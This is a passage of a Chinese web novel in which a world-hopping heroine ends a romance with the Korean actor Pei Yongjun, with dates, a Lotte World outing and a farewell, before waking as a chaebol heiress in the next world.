树叶沙沙的声音和远处的杂音，让宋玉妍的心脏提了起来。不知道怎么，也许是出于对危险的敏感性，她很有眼色地选择了住嘴。 “那你呢？你和他关系匪浅，为什么不自己好好照顾他？” 她的心声让他难受，这让裴永俊一向平稳的声线变得又快又急，拟声词用闭口音节含混过去，上扬的语调听来很尖锐。 宋玉妍慌乱了一瞬，手上的小动作不敢继续。说实话，她能在对方的底线上蹦跶，吃准的就是那份若有似无的纵容。 当裴永俊的态度改变时，她亲昵的、暧昧的行为就显得十分过界。宋玉妍拉开环住他脖子的距离，手臂尽量不贴着他。 “裴永俊xi，我的酒醒了，疲惫也消散差不多了，我下来自己走吧。” 「怎么突然就生气了，是不爽我对对方的关注吗？算了，先不聊这个了吧！他现在是我的朋友，不能让朋友不开心。」 听到这话，裴永俊心口的气才顺了一点。 想到对方做好了离开的准备，他的心脏就和被泡在苦柚子、柠檬混合的汁里，再被人扯开一道道伤疤一样痛。 他不想在装下去了，不笑时的嘴角像是被抹平了一样，显出一点冷酷的气质。他慢条斯理地把人放下，然后把披在她身上的外套整理好，拂去她肩膀上的落叶。 “宋玉妍xi，我不是傻子，我只甘愿被所谓的爱情变成pabo而已。”所以……你也别想真的把我当傻瓜。 裴永俊并没有被另一个话题绕过去，现在不想听她的心声，只想知道她最真实的想法。向来喜欢温吞迂回解决事情的男人，打了一记直球，几乎是明牌了。 「能在南韩演艺圈混出来的，几乎浑身上下都长满了心眼，谁能拿你当傻瓜啊！」宋玉妍在心底腹诽道。 “阿尼，裴永俊xi你是一个聪明人，你知道什么样的选择对自己最有利。”宋玉妍浅笑着摇摇头。 「我终究是要离开的，不管你现在是和宋允儿合作还是日后和崔知友炒cp，都能获得更高的关注度、国民度。这也是以后能成就你的资本，至于我们之间，止于恋爱未满友情以上的程度，就足够了。」 才说完她的心声都是自己爱听的，现在又开始了。 裴永俊单手烦躁地抓了抓头发，只觉得自己过于不理智了。 原本是打算温水煮青蛙，让人离不开他之后，再慢慢想办法，把宋玉妍留在这个世界。 “你打算什么时侯离开？”既然已经直截了当地问开了，那裴永俊也不再和她兜圈子了。 从来没有感受过他这样语气的宋玉妍愣住了。他语气冰冷的像是透着寒气的匕首，一句接着一句，宛如在审讯一般。 宋玉妍故作镇定地强笑，“什么离开？我自己都不知道自己要离开。呀！裴永俊xi你不要多想了。” 她说完还想故作亲昵地拍了他的恻脖，最后手掌在空中停顿了一瞬，拍到肩膀上去了。 “没有身份，对一个从未见过面的男人非比寻常的关注、明明没有钱，但是一身都是娇贵的气质。”裴永俊说完，直接拉着她的手，一点一点地用力扣住。 光滑细腻的肌肤像丝绸一样，手感很好，像是在轻轻握着一朵氧气感十足的云朵。 “还要我继续说吗？宋玉妍xi。” 她当然知道自己的身份禁不起推敲，也知道裴永俊心知肚明。她以为两人会保持着装聋作哑的心态，直到……她的离开。 就算听不到她的心声，裴永俊也会对她的身份产生怀疑，只是没有那么明确的答案而已。 “裴永俊xi，我一直觉得你们都是聪明人，聪明人都知道什么对自己最有利。可能对你来说，我只是个过客，过客就只是过客而已。” 听到这话的裴永俊像是被气笑了，原本抹平的唇线轻轻勾了勾。“如果有一种聪明的恋爱，那么就只有不爱对方的这一种可能！” 聪明人谈 不了聪明的恋爱。 “所以，你什么时候会离开？”他执拗地问道，像是不得到答案不罢休一般。声音暗哑到不行，像是撕裂的金属，风从撕裂的部分往外呼呼吹风。 头顶的乱云时不时地把月光遮蔽住，风在空气里的摇曳声清晰可闻，宋玉妍的心情就像是碰不到的土地那样沉重。 裴永俊能够感受到她的胸腔深吸了一口气，像是想要让颤抖的身体快速平静下来。 “裴永俊xi，我也不知道，我也不知道我什么时候会离开。” 她用的是离开，而不是回去，是因为对这个世界产生了归属感，还是因为下一个世界对她而言是新开始？ 宋玉妍自己也不得而知。 “我能做的就是好好地对待每一天！”她像是在劝慰裴永俊，又像是在告诫自己。 “有能不离开的办法吗？”裴永俊的手指早就攥成了拳头，炙热的温度停留在她的大腿根。久久压抑的情感得不到宣泄，这让他眼尾飘起了一抹薄红。 「对不起，我说谎了。」 “没有。就像是我来的时侯毫无准备，离开时又怎么会被提前预告呢？”宋玉妍用甜腻轻柔的声音安抚着他，毫不犹豫地把金手指给收了回来。 她以为按照裴永俊的性格，两人根本不会这么快坦诚相对，至少也是在快离开的时侯才揭开这层窗户纸。既然信任已经到这个程度，读心术也没有必要了。 裴永俊把身上的宋玉妍放了下来，呼吸微沉，不着痕迹地揉了揉自己的手腕。他转了过来，摘下自己的眼镜，温柔地笑了笑。 “宋玉妍xi，米亚内。” 黑暗能够助长人内心的欲望。随后他捏住对方微嘟的下巴，没有了镜片的遮挡，黑眸里湿漉漉的，像是少年时期清亮的眼眸。弯腰俯下身，直接堵住宋玉妍的嘴唇，先是轻轻地研磨着，然后开始加上力度，或轻或重。 夜深露重，水汽蔓延到她裸露的肌肤上，带来几分寒凉。 她一时间没有想到，裴永俊居然会这样大胆。后知后觉地反应过来后，开始大幅度地挣扎。只可惜她的腰肢被禁锢住了，男人的手臂像是铁杵一样，横在她的侧腰上。 宋玉妍一动，两人身体的纠缠更加紧密了，她领口也开始变得凌乱起来。 下一秒，裴永俊像是大发慈悲地放开了她，看到她的嘴唇像是开到荼靡的玫瑰，溢出的烂红色看起来有种惊心动魄的美感。 他把捏在下巴上印上指印的手指，换了个位置，在她嘴角轻轻揉捏着。 “嘘，少说话，这么好看的嘴唇，怎么吐不出一句我爱听的话？” 没有眼镜的遮拦，宋玉妍才发现他的眼睛只是看起来柔和，下垂的眼尾像是他最好的保护色。可现在里面的占有欲、强势都要化成墨色，像是要把她给吞噬了。 “裴永俊xi，你这是何必呢？”叹口气，她也不知道该如何处理了，一段注定没有结果的感情，就不要开始的好。 他重新戴上眼镜，笑得颊廊十分明显，嘴巴边的小括号和银色边眼镜形成剧烈反差。冷静成熟的气质和露出的俏皮虎牙，矛盾又极具吸引力。 “宋玉妍xi，承认吧！你也喜欢我。如果不是喜欢的话，在我放开你的那一刻，你会恼怒、会羞愤、会生气。但一定不是现在这样，无奈和惋惜。” 说这话时，他的表情像是蹲在树桩前，看到了一只兔子主动送上门来的狐狸。嘴角得逞的笑意十分明显。 他的话像是一道惊雷，轰在她的脑海里，把她震得一片空白。宋玉妍想要反驳，嘴唇嗫嚅了好几次，却发现匮乏的韩语词汇里没有一个词，能够形容她此刻的心情。 她干脆把西装外套脱下，甩到裴永俊的胸前，自顾自地往山下走。他像是在他的脑海里买了一个循环播放器，一直播放着那段话。 一路上，宋玉妍不记得，自己因为踩到凹凸不平的地面多少次，让她差点摔跤。裴永俊温热的手臂，每次都能恰到好处地出现在固定的位置。 第135章 第一百三十五章 到了后半程，宋玉妍差点以为自己的膝盖要移位了，几乎是被裴永俊撑着下去。对此，她除了气自己不争气的身体之外别无他法。 初春过后，樱花的花苞一个个开始争相绽放。随着植物的苏醒，这个刚经历过金融危机的国家也恢复了一点生气。 自从在南山上挑明了之后，宋玉妍就开始躲着裴永俊。但是在这个电脑只有扫雷，没有平板、手机的时代，她宅家也宅不住。只能买很多很多电影的碟片，默默在家拉片。 裴永俊给她做早餐，她说想吃买来的吐司；裴永俊带她逛街，她说最近喜欢简朴风格；裴永俊想要约她一起出去date，她以精力不足为由头…… 她真的有些不知道该怎么面对了，有什么不在她的掌控中了。宋玉妍感觉自己的剧本好像失控，她也从局外人变成了戏内人。 就算再怎么样不想出门，不想碰见裴永俊，演技课还是要上的。 不仅仅是因为这是她接受了的责任，更是因为总不能每一笔花销，都要裴永俊买单吧！ 宋玉妍抱着自己准备好的教学资料，进了教学的教室。在最后一排看到意料之外的男人时，狠狠地瞪了他一眼。 “在座的各位都会有机会接触电影的拍摄，作为世界第八大艺术，电影拍摄对于演员的表演能力，提出了更高的要求……” 看着下面一张张年轻的面孔，说不定以后这些年轻人就是忠武路的中流砥柱。正在认真教课的宋玉妍，想要努力忽视一下最后那道炙热的视线，最后却发现做不到。 “《泰坦尼克号》是一个很经典的电影，你们看看Jack和Rose在船上的那一幕，等会可以试试。” 说完，宋玉妍拿着自己的保温杯，准备趁学生还在琢磨的时间，出去找找热水。 从洗手间出来之后，她捋了捋自己的长发，感觉讲课时很不方便，对着镜子，顺手就扎成了侧边的蜈蚣辫。 等她整理好形象出来之后，就看到靠在墙边的裴永俊。 如果不是他手里拿了一个烧水壶，穿着西装、戴着眼镜的男人，看起来还真有那么几分斯文败类的霸总味道。 “裴永俊xi，你怎么回事？”她有些不满地白了他一眼，哪有在洗手间门口等人的？ “你躲着我，我也只能出此下策了。”他无辜的笑了笑，看起来清白又纯良。 想到自己就是被他这样的一副模样所欺骗，宋玉妍就气不打一处来。 “你这已经拍摄过多部大热剧的男一号，还回来公司上演技课干什么？这不是占用其他人的资源吗？” 导演调教演员的能力，比她强得多。宋玉妍色厉内荏，不想承认自己这是在关心他，怕他浪费自己的时间。 裴永俊没有立刻回答，只是从她手里把保温杯拿过来。然后把烧好的热水和茶水间的凉水，兑成合适的温度，等杯子九分满之后，才扣好，把杯子塞还给她。 “公司这边只提供常温和冰块，对你这种只喝热水的人确实是不友好。” 他好像只是为了过来给宋玉妍倒杯热水而已，任务完成之后，转身打算走。 经过她时，看到她散在左肩上的恻股麻花辫，乌黑油亮，看起来每一缕发丝都散发着丝绸一样的光泽。裴永俊把一缕漏网之鱼捋到了左肩上，招牌的温润笑容，看起来亲和力十足。 “这个发型很漂亮。”他趁着宋玉妍不注意，给她的辫子扯得更加蓬松。“还有，我们公司很多艺人都不赚钱，还靠我养着呢！” 停在他身后的女人，一时间没有反应过来这是什么意思。还在疑惑，裴永俊为什么要对她说这些？等他走了，回过神来，才知道这是对她说占用资源的反击。 回到教室，宋玉妍收拾好心 情继续上课，这是第一次直观地感受他们的演技。 刚开始她还抱着一丝期待，能被大公司看中的，至少也不是泛泛之辈吧！ 等这些学生两两组队，上台开始表演，她脸上的表情从震惊到疑惑再到麻木。哪怕做小提琴教师时，宋玉妍都没有这样无力过。 就这样小学舞台剧的演技水准，他们是那里来的自信，能对她的课堂不屑一顾的！ 等最后一个学生——裴永俊上台时，底下都开始窃窃私语。大家对这个同公司的好命前辈，观感很复杂。 “要是我当时去参加KBS选秀我也能出名。” “这样看起来裴永俊xi也没有电视上那样帅气呀！” …… 宋玉妍轻咳了一声，示意教室可以安静下来了，因为之前的默然导致威慑力不够，效果好像并不是很好。这完全就激怒了她，她能接受笨学生吗，但是完全不能接受蠢学生。 当即，她把带来的资料往讲台上重重一砸，旁边的大牌包包都被震地挪了个位置。丹凤眼里满是怒火，几缕呆毛都开始炸了起来。 “如果你们不想学，可以出去，我会和公司说你们不需要演技课。在我的课堂上，我能给你们机会，但是你们去试镜的时侯，希望你们也能有这么好的运气。” 听到一向亲和的老师，不说半语，对着他们开始说平语，所有人嘘若寒蝉。 他们还是第一次看到宋玉妍这样强势，几乎是在指着他们的鼻子说：爱上上，不上滚。 倒是台下的裴永俊，以为宋玉妍这是在为他出气、抱不平。明明被议论的人是他，但是他还能安之若素地支着下巴。温润漂亮的笑容更加，镜片后的眼眸里满是愉悦。 这让他觉得自己是被偏爱的那一个。 生气起来的宋玉妍完全耶啵，眼波流转，眉眼飞扬，看起来更加明媚。 “裴永俊xi，你上来演一下Jack那段。”宋玉妍听着安静的教室，终于满意了，语气恢复到平常的柔和。 裴永俊侧对着宋玉妍询问道：“老师nim，我一个人不太好演绎，要不请你搭一下戏？” 真的是给他脸了，宋玉妍想要扭开保温杯，喝口温水平复一下干燥的嗓子。看到温水，想到了裴永俊的费心，借热水壶，应该不容易吧 到嘴边拒绝的话语，拐了个弯。 “好，要是你演不好的话，以后的课就不许来上了。”熟人上课的尴尬感是真的无以言语，她恰好借此赶走他。 两人迅速进入了状态，宋玉妍把自己的头发散开，发丝在空中划开柔软的弧度。 她垂着眼眸，里面像是有一片深不见底的大海那样忧郁。抬起眸来，眼睛里满是对自由的渴望，还有最后做下决定的决然。 随后她设计了几个小动作让台下的学生，迅速建立起对她角色的认同感。 良好的仪态、优雅的步伐、昂起的脖颈，任谁看了就觉得这就是20世纪初的英国旧贵族小姐。 而裴永俊像是看到了她不理智的举动，立刻过来拉住。其中的迫切和焦急，通过微表情和克制的肢体动作表现出来。 手臂甚至因为用力而青筋爆出，显得十分真实。 台下的人目不转睛地看着这一幕，两人的对手戏很有张力，就算是没有布景、妆造。只单靠演技，他们就把人拉入戏了，更别说台词都是原汁原味的英音和爱尔兰口音的碰撞。 这下他们算是心服口服了。 之前所有人的演戏，宋玉妍都没有开口点评，但是这次她开口了。“你们一个班级将近20个人，居然只有一个人符合我及格的标准。” “纵然裴永俊xi的表演，还是有些流于表面，但是他至少不会让人出戏。比如说他习惯于摩挲自己右手食指的第一个指节，作为画家经常握笔，那里会有茧子……” 宋玉妍一点一点地分析两人演戏的细节，作为演员，在镜头里是不会一个动作是多余的。 台下的学生这次倒是听得很认真，这样细致讲课的老师并不多，他们何其有幸。 只有裴永俊心脏沉甸甸的，像是灌进去了一吨水泥，魂不守舍地在想着什么。等一下课，看着他还是一副心不在焉的状态，甚至把自己的小灵通都要落下了。 她走了过去，屈指在桌上轻轻敲了几下。“裴永俊xi，你怎么了？怎么心事重重的样子？” 他把内心的思虑压了下来，挂起一如既往的笑容。“宋玉妍xi，汉江公园的樱花开了，我们去散散步吗？” 散步？汉江公园？宋玉妍真的是怕了他特种兵式的户外活动了。明明他的身体也不算很好，但是就是有使不完的牛劲。 “不会要暴走两个小时吧！”想到在南山下山时，因为膝盖不断地弯曲而被磨损的痛苦。 “阿尼！这次只是单纯地散步而已。” 等到了地方，宋玉妍才发现，这个地方她和裴永俊来过，只不过是在15年之后。 当时他们坐在长椅上，聊了聊她未来的职业规划，还一起喝了啤酒。 “你要不在这里等等我？” “内。” 粉白的樱花在微风拂过后，花瓣柔弱地飘零在地上，枝桠上是绮丽的霞云。紫红色的光芒映照在花瓣上，像是情人的胭脂。 裴永俊跑到便利店去买了啤酒，然后在路边布帐马车找姨母买了些鱼饼。看到他的背影，宋玉妍眼睛闪过一丝怀念，姿态和40代的社长一模一样。 这么久依旧没有变化的，好像是他！ 离开后，找了个人少的地方，裴永俊把带好的漱口水仔仔细细地漱了三遍，打定注意等会不会碰味道大的食物。他喝喝啤酒就好了。 等他回来之后，坐在长椅上的宋玉妍自然地接过他手里的食物。 “好像每次相遇，我们都是在吃东西，不管是布帐马车还是高级餐厅。” “是啊！” 两人的易拉罐在在空气中碰撞了一下，细小的气泡声伴随着花瓣的掉落声，显得格外治愈。 气氛正好时，裴永俊看她吃得欢，却冷不丁地来了一句。“宋玉妍xi，你是体验派演员还是方法派演员呢？” 正在和啤酒的宋玉妍，听到这个猝不及防的问题，被酒液呛了一口，不断地轻拍自己的胸部，想要把这一口液体顺下去。 “你问这个干什么？我只是一个爱好者而已，肯定比不上你们专业的。” “撒谎！”裴永俊想到她演绎时，对这个世界毫无留念，像是想要抛却一切的眼神。 那种奔向自由、释然的姿态，根本不能用单纯的演技来囊括。 一想到这里，他就根本呼吸不上来。 他所认识的方法派演员，就算再厉害，也不能有过那样的眼神。他……很怕宋玉妍自己会做傻事、做过傻事。 就着天边的晚霞，看着远处的波光粼粼。裴永俊开口道：“宋玉妍xi，不管怎么样我都希望你能先把自己照顾好。” 哪怕我们不在一起，你也要把自己照顾好，好好生活。他说出这样话时，眼里满是克制的情感，鼻子酸胀的不像话，眼睛湿润地垂着。 “也许这个世界上会有千千万万个裴永俊，但是无论是哪一个，都会希望你好好生活。” 听到他这近乎剥开心脏，赤裸裸地把心意摊开让她一览无余的话语，宋玉妍绷住情绪，纠结地咬了咬下嘴唇。 第一次主动亲近了他，这次无关乎攻略任务，也不是因为美色。 她环抱着裴永俊的肩膀，带着鼻音地说道：“我答应你。” 「宿主，能量收集满了，要不要现在转换下一个世界？」 「是因为……裴永俊的情感浓度吗？」 「有他的帮助，但是也不是全靠他。」 听到系统这样的话语，宋玉妍的眼睛里闪过一抹挣扎。她是一个时空旅行 者，是一个浪子，就算在之前的攻略任务中，她也动了心、付出了情感，但不像这次一样。 宋玉妍能够感受到心脏被一根名为羁绊的线，牵了起来。既惶恐，又让她上瘾的熨贴感让她的思绪、心脏被扯成了两半。 她看着面前这个男人，心烦意乱间把人的眼镜摘了下来，这才发现裴永俊眼底的湿润有些不同寻常。第一次主动贴上他微凉嘴唇，像是冬日里的冰冻果冻，口感很好，停留的薄荷漱口水的带着丝丝辣意。 夕阳下，一时间两人的背影像是一副美好的画卷，不知道吻了多久，远处的樱花已经变成了夜樱。 “裴永俊xi，如果我有不得不离开的理由，你会……”宋玉妍心底很慌乱，她有些无语伦次，不知道该如何表述。 裴永俊捏了捏她柔软的手心，原本温和的面容带着一丝忧郁哀伤，破碎感让他看起来更具魅力。 宋玉妍只觉得，为什么之前都没有发现，自家的社长真的是凭借傲人的颜值，风靡亚洲啊。谁对着这张脸，能说出拒绝的话语呢？ 原本摇摆的心脏偏向他这一方。 「宿主，你可别恋爱脑，我们的任务都还没有完成！」 系统惊恐地在脑海里提示到，要是宿主都没有完成任务，它也会被格式化的。就是可惜这么多个世界，收集的单机游戏，它都没有玩够呢！ 「我知道，我就这样随便一想。」 你可别想了，如果系统有实体的话，当着宋玉妍的面都能哭出来。看着自家宿主成指数飙升的多巴胺，就知道这次她是真的动了真心。 “如果有不得不做的理由，那就去做吧！” 听到裴永俊这善解人意的话，宋玉妍的心脏像是被针扎过，根本不敢对上他的眼睛。她捂着自己的眼睛，没有想到就是在一个过渡世界，被他打破了心理防线。 「宿主！你看他都支持，我们现在就离开吧！切换下一个世界，你要的财阀千金，我抽到了！」 “不过，宋玉妍xi，我想要和你去一次乐天世界，可以吗？”裴永俊好像知道她快要离开，但是他没有开口让人留下，只是提了一个小小的、无关紧要的要求。 感受到宿主心底的犹豫，系统不合时宜地想起一个词——男狐狸精。如果不是他，自家宿主现在已经在下一个世界开始新的攻略任务了。 「在过渡世界待得越久，消耗的能量就越多，下一个世界的变数就越大。」它努力地劝着自家宿主。 宋玉妍看着面前摘下眼睛的裴永俊，他下垂的眼尾看起来很可怜，湿润的眼睛里满是恳求。 本来就愧疚的心理，在想到他那句：聪明人谈不了聪明的恋爱论调，心脏忍不住一软。 “好。” 「宿主你答应了？那我们现在就出发。」 “好，我们一起去乐天世界，我还没有在韩国去过游乐园呢！”裴永俊拉着她的手，紧紧攥着，像是在握着什么宝物。 “我从没有去过，等那个游乐场建好之后，我都是在忙着兼职，根本没有时间和金钱去享受。”他习惯性地卖惨，知道什么角度最能激发女性的怜爱。 一路上的晚风随着步伐，宋玉妍听到他这凄惨的过往，不由地心疼。“我们一起去，就当是体验人生中不一样的时间。” 听到这话，他满意地勾起嘴角，就算不能让宋玉妍停留在这个时间，他也会是心底最特别那一个。 转过身，看向被他们抛却在身后的汉江公园。在他还能听到宋玉妍心声的时侯，知道她和未来的裴社长也来过这里。 ‘看到40代的裴社长也不过如此，我能比他做得更好。’ 只有系统无实体地翻了个白眼，男绿茶！ 第136章 第一百三十六章 到了约定的这天，裴永俊一大早就起来挑衣服。作为要出席各种活动的演员，他的很多衣服都是特殊定制的。 他苦恼地抓了头发，犹豫今天的风格。想了很久还是决定不穿卫衣，卫衣虽然看起来显年轻，但不够正式、稳重。 宋玉妍出门时，一打开门就看到裴永俊在等着。他站在电梯间，视线有意无意地盯着她家门口。 “裴永俊！”看到人的一瞬间，她脸上扬起明媚的笑容。“完全帅气！” 他今天的穿搭一看就是费了心思的，焦糖色的风衣搭配同色的衬衫，领口的扣子解开，若隐若现地露出里面银色的锁骨链。 宋玉妍看着呼吸一滞，可能是因为爱意让她给对方加了滤镜。这样气质内敛温和又极具艺术家特质的裴永俊，完全是她的理想型！ “莫呀，我还以为欧巴会和我穿同色系的衣服呢！”她似真非假地抱怨道。 提前好几天裴永俊就来问她今日的穿搭了，她还以为对方也会穿蓝色系呢。 “你再仔细看看？”他指了指自己衬衫领口上的宝石领针，两对一克拉的蓝宝石，又没有其他的碎钻镶嵌，不仔细看还真看不到。 在宋玉妍还没有反应过来的时候，她耳垂上的坠饰被取了下来，被裴永俊换成了一副耳钉。 和他领口上的宝石出自同一块原石，研磨后的璀璨光芒相得益彰。 “这样是不是看起来更像情侣。”给她整理好后，裴永俊细心地帮她捋了捋鬓角的头发。 宋玉妍给了他一个笑容，主动牵起他的手。“那我们今天，就是……一日恋人。” 因为是工作日，蚕室这边的人并不多。等牵手从南门进去之后，宋玉妍扬起头看向身边人。 “你想先玩什么？” 裴永俊看着手上的纸质地图，眼眸里闪过一丝纠结。 “我之前做的攻略，最好玩的是法老的愤怒和亚特兰蒂斯，但是旋转木马、摩天轮、城堡都很适合拍照。” 她倒是没有想到，对方会提前做攻略，刻板印象里是男生不喜欢这些游乐设施。 “你在这里等我一下。”裴永俊说完，跑走了。回来时，气喘吁吁地，手里还拿着饮料和咖啡。 ” 你想喝哪一个？不然后面口渴，买起来会有些麻烦。” 宋玉妍接过咖啡，“欧巴，真的贴心呀。感觉是很会照顾人的性格，和你相处肯定很幸福！” “不会。”裴永俊理了理自己衣领。 “莫？” 他忽然侧过身来。眼睛里像是比碎灯里的灯光还要璀璨，嘴角上扬，隐隐约约的爱意比春水还要柔和。 “不会对每一个人都这样照顾的。宋玉妍xi，你知道的，在我这里你是最特殊的那一个。” 听他说完这种近乎表白的话，她的脸颊飞上两朵粉云。也不知道是不是因为游乐场盛产粉红泡泡，反正宋玉妍是不敢和他对视。 干脆伸出修长的手指，点在地图上的某个地点。“我们先去这里吧！” “内！” 现在的乐天世界，还没有出品特意的app来监测客流量，导致他们在第一个项目耽误的世界有点久。 两人都不着急，牵着手、偶尔对视一眼，慢悠悠地开始往前挪动。和暧昧对象来游乐场，重点并不是游玩，和他待在一起就已经很满足了。 看到过山车时，裴永俊看到蜿蜒的弯道，脸色有些不好。 “是不是有些害怕了？”宋玉妍凑到他的眼前，摆了摆手，含笑看着他。“如果害怕的话，可以叫我一声怒那！到时候启动时，我会紧紧牵着你的手。 裴永俊无奈地看了她一眼，这算是恃靓行凶吗？就算现在生理年龄比他大了两岁，但谁又会觉得她是年上？ “我不是害怕。”只是之前拍摄高处戏份时，脊椎受过伤，现在想来还是心有余悸。 裴永俊从风衣口袋里掏出手帕，按了按额角的细汗。 “我又不会嘲笑你！”宋玉妍看了一眼他惨白的脸，说什么都不让他继续排下去了。 “没关系的！来都来了。”他的胜负欲向来都很强。 等轮到他们坐过山车时时，裴永俊以迅雷不及掩耳之势占了她身边的位置。 “呀，你逞强干什么？” “肯恰那、肯恰那。”他笑得腮肉都溢出来了，看起来像是校园里的温和学长。 宋玉妍看着他把风衣脱下，把她腿部露出的肌肤完全包裹住。裙摆落下的星星坠饰也被藏了起来。 过山车时裴永俊紧紧地把眼睛闭上，倒是宋玉妍还饶有兴致地抓着他手把玩。 风吹过时，撩起两人的头发。她看到这一幕还有些可惜，怎么没有带相机。把他裴永俊这无刘海、狼狈的样子放进典藏版的写真里，会让多少人更加想要收藏。 两人的手像是被胶水黏在了一起，等下来之后，有人认出了裴永俊。 “申东贤xi！”看到了这段时间爆火的男主出现在现实中，剧粉很惊讶。 “内！” 看到是裴永俊的粉丝 ，宋玉妍默默把包里的口罩拿出来，勾在自己的脸上之后，离得更远了。 看他把粉丝送走后，她亲昵地挽过他的手臂。“不愧是顶级演员啊！一出门，就能收获了无数无数爱意！” 裴永俊倒是对此很有自知之明，“我这是吃了角色红利，很多人只喜欢申东贤，不喜欢裴永俊。” 说完这他看向宋玉妍的眼神更加缠绵，“但你不一样，我们足够了解，你对我不会有不切合实际的幻想。” 宋玉妍撇开了脸，只觉得心跳加速。从来了游乐园之后，她就一直是这样的状态，整张脸感觉都要烧起来了。 这位说起情话来，可真是让人招架不住。 从摩天轮上的亲吻、到城堡前的拍照……最后在旋转木马前，宋玉妍看着天色渐暗，旋转木马像是八音盒那样童话般的风格。 上面暖黄的灯串像是一簇簇珠花，看起来如梦似幻。 从城堡奔跑而来的两人，好不容易才排上最后一趟，不然这个项目就要结束了。 看到裴永俊坐上的位置，是体型小一圈的小蓝马，粉色的马被他让给了宋玉妍。 没过多久，机器开始启动，放的bgm是《candy》。 现在的氛围也像这首歌一样甜蜜，宋玉妍看着远处城堡上方的烟花，激动地轻轻喊裴永俊看。 他倒是挽着圆柱，让自己先固定下来，转身用拍立得给她拍了很多照片。 背景是城堡和烟花，近处旋转木马的灯光十分柔和，宋玉妍的笑容明媚又妍丽。 等下来之后，他仔细地把打印出来的照片放在钱夹里。 游乐园没有可以坐的地方，裴永俊找了一个还没有关门的咖啡厅。 「宿主，你答应我的，要准备离开了。没有足够的能量，你这幅躯体在这个世界也停留不了很久。」 之前的任务，用的都是新身体，只有这次不一样，耗费电脑能量自然更多。 宋玉妍手指在杯壁上摩挲，嘴角的弧度有些苦涩、纠结。 对面的裴永俊像是感受到她的心情，原本眉飞色舞的眼尾也垂落了下来。 “是要离开了吗？”他拉过对方的手，贴在自己的侧脸，小心翼翼地问道。 宋玉妍的表情有些无力，只能扯了扯僵硬的嘴角，但是却无济于事。最后还是点了点头。 两人之间的气氛和一开始完全不一样，原本的甜蜜外表，里面却包裹着一层离别的哀伤。 “我知道了。”裴永俊的眼睛里像是有水光，又像是灯光折射的原因。 他拿出今天拍的拍立得，从里面挑出过山车时，拜托工作人员拍到的那一张。 “这张给你，希望……你不会忘记我。” “怎么会？”宋玉妍立刻回答道，柔和的语气里是不容置喙。她接过薄薄的照片一看，裴永俊发型凌乱看起来有些狼狈，倒是她侧脸一如既往地精致。 脑海里的系统一直在催，这让她很烦，最后还是做了决定。 她把带到这个世界的手机放在桌上，推到裴永俊那边。 “这算是我给你的离别回礼吧！我们也许还会再见，也许……不管怎么样，都要好好生活啊！” 裴永俊倒是没有再说什么，她只觉得有什么温热的东西顺着手上的肌肤流到了桌子上。 宋玉妍狠了狠心，还是挣脱了对方的手。 “保重。”看似决绝地忽略身后的视线，头也不回离开了。 只有她自己知道，好几次都忍不住回头，想要不管不顾地留在这个世界。 —— 2015年 在能听到宋玉妍心声时，裴永俊就把自己所有的身家都压在了三星上。这也给他带来了丰厚的回报，现在他除了持有keyeast的股份，还持有零点几的三星总公司股份。 不多，但是三星的旁系手上的股份不一定比他更多，每年的粉红都是一笔很可观的数目。 在南韩他也算是半只脚踏进财阀圈层了。 偶尔午夜梦回时，他还是会想到那个全世界只有他一个人记住的女人。 裴永俊拿出当时她送的手机，直到两年前，他才能重新充电把它启动。手指不断地划过相册，里面用文字记录着当初两人之间的点点滴滴。 他看着看着嘴角忍不住上翘，只觉得自己是真的疯了。居然为了一个不知归期的人，拒绝LG副会长的示好。 滴滴滴。 他自己的手机铃声响起，接起来后，那边的助理兴奋的声音传来。 “代表nim，我们公司新签了一个好苗子。是叫宋玉妍，刚从中央大学表演系硕士毕业。” 第137章 第一百三十七章混合世界（财阀女） “宋小姐，您这边今天一共消费一亿八千万韩元，这边是刷卡吗？” 一睁眼就是一个帅气的侍应生出现在面前，宋玉妍撑着疲惫的身体从沙发上起来。 穿越多次，她对这种情况已经很习惯了，默默捡起滑落在地板上的手包，从里面拿出钱夹。 看到一打数额巨大的现金，她的眼里没有意外的情绪，当看到黑卡，手上抽出的动作都停滞了一瞬。 看来这次系统没有骗她，真的是财阀家的千金，南韩的黑卡可不好拿。 她毫不犹豫地用黑卡买单，然后看到包厢里的人一个个睡地昏昏沉沉，黑色大理石的茶几上都是酒瓶。价值不菲的洋酒在这里好像如白菜一样，很多没有喝完直接流落在地上。 闻到空气里刺鼻酒精混合着各种驳杂的味道。宋玉妍嫌弃地捂住鼻口，避开地上各种歪七扭八的东西，准备先出去。 一出包厢，手机上闪现出尹室长的来电，犹豫了一瞬，还是选择了接听。 “小姐nim，社长这次对你很失望，为了让你能顺利进入中央大学学习，社长耗费了很多的心力。”对面这位好像是带着任务来的，语气里满满都是恨铁不成钢。 都不用接受记忆，宋玉妍忍不住脱口而出，“尹室长，我看具社长哪里耗费了无数心力？有你这样的能人代劳，不过是打个招呼的事情罢了。” 对面似乎语塞，一时间不知道该如何接话。他作为社长倚重的秘书室室长，和这位小姐打交道的时间不少。 “教授那边已经对你特殊入学很为难了，你的成绩也让其他人不服气。” 尹室长想到集团每年给他开的年薪，默默地咽下这口气，继续好心好意地劝道：“再这样旷课、考试缺勤，你会被退学的。” 作为财阀集团的高管，社会地位高，在外受到的都是一片奉承。社长的妻子从不插手集团业务，偶尔见面对他也是客客气气的。唯独这位，比正儿八经的LG公主还要难搞，性格古怪、喜怒无常。 “你少在心底骂我，有什么不满和具社长去说，能让他少管我一点就好了。”等宋玉妍把电话挂了之后，看着自己行云流水的动作，还有些反应不过来。 她好像还没有接受记忆，这些都是原身留下来的反应。 另一边，接收到教授告状的尹室长只觉得头大。具社长向来是没有精力来管家务事，这些都是他帮忙一手打理的。处理不好宋玉妍的事情，他会被贴上能力不行的标签。 只能看社长那边的态度了。 等到了定好的会议时间时，尹灿按照约定时间去接具官烨。 社长在后排坐着，像是在仔细看着今天开会需要的文件。 等他合上文件夹之后，尹灿才小心翼翼地轻声开口道：“社长nim，宋小姐那边好像引起了学校和学生的不满，对于她特殊入学的投诉信不光是到了家委会，很多教授也向行政处反应了。” 听到这话，具官烨疲惫地揉了揉太阳穴，他宁愿去处理三个并购案，也不想面对家里的这些破事。 “和 学校那边沟通了吗？实在不行再给他们建一个音乐厅。” “这次不光是内部，在网上闹得也很大，集团的公关部都连续加班三天了，帖子还是多到删不过来。”尹灿面露为难，如果能花钱解决，他也不会闹到社长面前来。 具官烨在心底叹口气，不是很想把精力放在这些琐事上。 “你和学校那边再沟通一下，实在不行，联系梨花女大让她重新入学，多给她打点零花钱，让她安分一点。” “我知道了，社长nim。”尹灿听到这样的处理方式，立即就和梨花女大那边联系。 